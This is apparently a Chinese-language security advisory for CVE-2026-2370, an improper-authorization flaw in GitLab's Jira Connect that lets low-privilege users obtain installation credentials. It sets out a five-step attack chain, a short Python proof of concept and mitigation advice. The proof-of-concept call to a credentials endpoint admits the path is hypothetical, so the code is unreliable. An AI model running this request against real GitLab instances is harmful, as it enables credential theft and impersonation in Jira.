CVE-2026-2370 CVSS 8.1 高危

CVE-2026-2370 GitLab Jira Connect权限提升漏洞

披露日期: 2026-03-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-2370

漏洞类型

权限提升

CVSS评分

8.1 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

GitLab CE/EE

漏洞概述

GitLab CE/EE 的 Jira Connect 组件存在权限提升漏洞。由于授权检查不当，拥有极低工作区权限的经过身份验证的用户可以获取安装凭据并冒充 GitLab 应用程序。该漏洞影响 14.3 至 18.10.1 之前的多个版本，可能导致敏感信息泄露及应用程序被完全接管。

技术细节

该漏洞源于 GitLab Jira Connect 功能中缺少严格的授权验证机制。在受影响的版本中，系统未能正确验证请求用户是否有权访问特定的管理接口或敏感数据端点。攻击者只要拥有 GitLab 实例的普通用户权限，即可利用此缺陷，通过发送特制的 HTTP 请求，绕过权限检查直接获取 Jira Connect 的安装凭证（Installation Credentials）。这些凭证通常用于 GitLab 与 Jira 之间的双向认证。一旦攻击者获取了这些凭证，他们即可在 Jira 端冒充 GitLab 应用，执行任意操作，从而破坏系统的机密性和完整性。

攻击链分析

STEP 1

1. 信息收集

攻击者识别目标 GitLab 实例是否启用了 Jira Connect 功能，并注册获取一个低权限账户。

STEP 2

2. 身份验证

攻击者使用低权限账户登录 GitLab，获取有效的会话令牌（Session Cookie）。

STEP 3

3. 漏洞利用

攻击者构造请求访问受保护的 Jira Connect 凭据接口，由于系统存在授权缺陷，请求被允许通过。

STEP 4

4. 凭据窃取

服务器返回 Jira Connect 的安装凭证（如 shared_secret 或 token）。

STEP 5

5. 应用冒充

攻击者利用窃取的凭证在 Jira 系统中冒充 GitLab 应用，获取对 Jira 项目的完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2026-2370 Proof of Concept
# Description: Exploit improper authorization to leak Jira Connect credentials.
# Requirements: Valid low-privilege GitLab session cookie.

target = "https://gitlab.target.com"
attacker_cookie = "_gitlab_session=valid_low_priv_user_session"

headers = {
    "User-Agent": "Mozilla/5.0",
    "Cookie": attacker_cookie
}

# Hypothetical endpoint exposing the installation secret
# Actual endpoint path may vary based on specific GitLab version and routing
url = f"{target}/jira_connect/installations/1/credentials"

try:
    response = requests.get(url, headers=headers, timeout=10)
    if response.status_code == 200:
        print("[+] Exploit Successful!")
        print("[+] Leaked Credentials:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

影响范围

GitLab CE/EE >= 14.3, < 18.8.7

GitLab CE/EE >= 18.9, < 18.9.3

GitLab CE/EE >= 18.10, < 18.10.1

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用 GitLab 中的 Jira Connect 功能以阻断攻击路径。同时，应限制对 GitLab 实例的网络访问，仅允许可信 IP 地址连接，并密切监控审计日志中是否存在异常的 API 调用或凭据访问行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表